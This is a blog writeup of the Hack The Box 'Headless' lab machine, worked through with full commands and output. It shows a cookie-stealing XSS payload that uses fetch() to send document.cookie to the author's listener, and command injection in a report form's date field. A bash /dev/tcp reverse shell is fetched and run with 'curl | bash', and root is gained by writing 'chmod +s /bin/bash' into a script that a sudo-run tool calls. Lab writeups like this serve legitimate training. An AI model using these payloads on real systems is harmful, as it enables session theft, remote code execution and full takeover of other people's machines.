Back to Blog

Headless HTB Writeup
September 21, 2024, 10:47 pm

Hey and welcome to my writeup of the Headless seasonal HTB challenge.

So, to begin with – how does one begin this challenge? On HTB, you navigate to Machines, then Headless. There you start the machine.

You also need your own VPN, with which you connect to the private network (IP ranges of 10.10.10.x)

Once you are done with this setup, you can begin doing the task.


First of all, the tools I used most are BurpSuite, as well as a Kali Linux WSL. And we will begin our exploration using nmap.

nmap 10.129.131.95 -A -p- -T4


┌──(morb㉿AllYourBase)-[~]
└─$ nmap 10.10.11.8 -A -p- -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-27 18:27 CET
Warning: 10.10.11.8 giving up on port because retransmission cap hit (6).
Stats: 0:11:02 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 82.51% done; ETC: 18:40 (0:02:20 remaining)
Stats: 0:11:04 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 82.59% done; ETC: 18:40 (0:02:20 remaining)
Stats: 0:13:06 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 95.84% done; ETC: 18:40 (0:00:34 remaining)
Stats: 0:14:41 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 18:42 (0:00:50 remaining)
Stats: 0:14:46 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 18:42 (0:00:55 remaining)
Nmap scan report for 10.10.11.8
Host is up (0.037s latency).
Not shown: 63500 closed tcp ports (conn-refused), 2033 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  upnp?


Here we can see two ports. 22 and 5000. 22 is nothing special, however 5000 is the jackpot.

So, now we enter our target’s IP address, as well as the port:

http://10.10.11.8:5000


And get this:


Now we can press the button, or scan the directories, as such:

dirsearch -u http://10.10.11.8:5000

And get the following output:

┌──(morb㉿AllYourBase)-[~]
└─$ dirsearch -u http://10.10.11.8:5000
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict
  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460
Output File: /home/morb/reports/http_10.10.11.8_5000/_24-03-28_18-52-21.txt
Target: http://10.10.11.8:5000/
[18:52:21] Starting:
[18:53:00] 401 -  317B  - /dashboard
[18:53:33] 200 -    2KB - /support
Task Completed


So, we can see /dashboard and /support websites.

If we go to the /dashboard, we get an error…


And if we go to /support, we get a contact form. This is also the path we can travel, if we click the, “For Questions” button on the / page.


So, now we open BurpSuite and take a look at this form. If we input the following into it,


It will proceed to freak out…

Meaning that, great! It’s vulnerable to XSS attacks.


Now via Burp Suite, when we click “post” with the information we’d entered into the form, we get this:

POST /support HTTP/1.1
Host: 10.10.11.8:5000
Content-Length: 114
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.11.8:5000
Content-Type: application/x-www-form-urlencoded
User-Agent: <img src=x onerror=fetch('http://10.10.11.8/?c='+document.cookie);>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.11.8:5000/support
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,sl;q=0.7
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Connection: close
fname=a&lname=a&email=a%40a&phone=1&message=aa;<img src=x onerror=fetch('http://10.10.11.8/?c='+document.cookie);>

One thing of note is the Cookie: is_admin field. Of course, that is not the admin’s cookie, it is our own. But due to the XSS vulnerability, we can steal the admin’s cookie.


As such, our goal is for the sysadmin to execute our code, then send his cookie to us. We can achieve this via a simple Python server, which we start as follows:

python3 -m http.server 8001


We now change the post request to contain our IP, as well as the server port.

POST /support HTTP/1.1
Host: 10.10.11.8:5000
Content-Length: 145
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent:<img src=x onerror=fetch('http://10.10.14.209:8001/'+document.cookie);>
Origin: http://10.10.11.8:5000
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.11.8:5000/support
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Connection: close
fname=a&lname=a&email=a%40a&phone=a&message=<img src=x onerror=fetch('http://10.10.14.209:8001/'+document.cookie);>

We change the fname and User-Agent fields.


If all goes well, we get a response to our python server!


So, the Admin cookie is…

ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0


Now we can use it in our browser…


And can now access the dashboard!!

Ta-dah!


Though this isn’t the end of our task. We still need to get the final keys to solve the challenge.


Now, we click the “Generate Report” button, and intercept it. Upon sending it to the repeater, we can do something like this…

POST /dashboard HTTP/1.1
Host: 10.10.11.8:5000
Content-Length: 18
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Origin: http://10.10.11.8:5000
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.11.8:5000/dashboard
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Connection: close
date=2023-09-15;id


And get something like this..



So now, after a LOT of fiddling, I figured out the following…

date=2023-09-15;ls


       Systems are up and running!
app.py
dashboard.html
hackattempt.html
hacking_reports
index.html
inspect_reports.py
report.sh
support.html
txt.sh


date=2023-09-15;cat txt.sh


bash -i >& /dev/tcp/10.10.14.207/4242 0>&1


This is essentially the shell.sh we need, in order to run the console. As such, we adapt it to our VPN’s connection and port and save it on our local machine, let’s say… shell.sh.

bash -i >& /dev/tcp/10.10.14.115/4242 0>&1


And now, we can start listening, then inject it into the targeted machine:

PS C:\Users\krimo> python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:10.10.11.8 - - [20/Apr/2024 19:38:17] "GET /shell.sh HTTP/1.1" 200 -
::ffff:10.10.11.8 - - [20/Apr/2024 19:46:55] "GET /shell.sh HTTP/1.1" 200 -
::ffff:10.10.11.8 - - [20/Apr/2024 19:47:06] "GET /shell.sh HTTP/1.1" 200 -


PS C:\Users\krimo> ncat -nvlp 4242
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4242
Ncat: Listening on 0.0.0.0:4242
Ncat: Connection from 10.10.11.8:37672.
bash: cannot set terminal process group (1355): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.2$


date=2023-09-15;curl+http%3a//10.10.14.115:8000/shell.sh|bash


Then I look around and find the first flag!

bash-5.2$ ls
ls
app.py
dashboard.html
hackattempt.html
hacking_reports
index.html
inspect_reports.py
report.sh
support.html
txt.sh
bash-5.2$ id
id
uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)
bash-5.2$ pwd
pwd
/home/dvir/app
bash-5.2$ cd /home
cd /home
bash-5.2$ ls
ls
dvir
bash-5.2$ cd dvir
cd dvir
bash-5.2$ ls
ls
app
geckodriver.log
initdb.sh
user.txt
bash-5.2$ cat user.txt
cat user.txt
5900fc7a223c29bcdb5c3b1be6062f46


So, the first flag is…

5900fc7a223c29bcdb5c3b1be6062f46


And now to finalize this…

PS C:\Users\krimo> ncat -nvlp 80
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:80
Ncat: Listening on 0.0.0.0:80
PS C:\Users\krimo> ncat -nvlp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
PS C:\Users\krimo> ncat -nvlp 4242
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4242
Ncat: Listening on 0.0.0.0:4242
Ncat: Connection from 10.10.11.8:39104.
bash: cannot set terminal process group (1355): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.2$ sudo -l
sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty
User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck
bash-5.2$ sudo syscheck
sudo syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.9G
System load average:  0.08, 0.11, 0.04
Database service is not running. Starting it...
bash-5.2$ cat /usr/bin/syscheck
cat /usr/bin/syscheck
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
  exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi
exit 0
bash-5.2$ echo "chmod +s /bin/bash" > initdb.sh
echo "chmod +s /bin/bash" > initdb.sh
bash-5.2$ sudo syscheck
sudo syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.9G
System load average:  0.04, 0.09, 0.04
Database service is not running. Starting it...
bash-5.2$ ls -la /usr/bin/bash
ls -la /usr/bin/bash
-rwsr-sr-x 1 root root 1265648 Apr 24  2023 /usr/bin/bash
bash-5.2$ bash -p
bash -p
id
uid=1000(dvir) gid=1000(dvir) euid=0(root) egid=0(root) groups=0(root),100(users),1000(dvir)
cd /root
ls
root.txt
cat root.txt
10abea4773494c5f00c8cf68e92909ac


Therefore, the root flag is…

10abea4773494c5f00c8cf68e92909ac


That’s it! Thanks for the read.


Back to Blog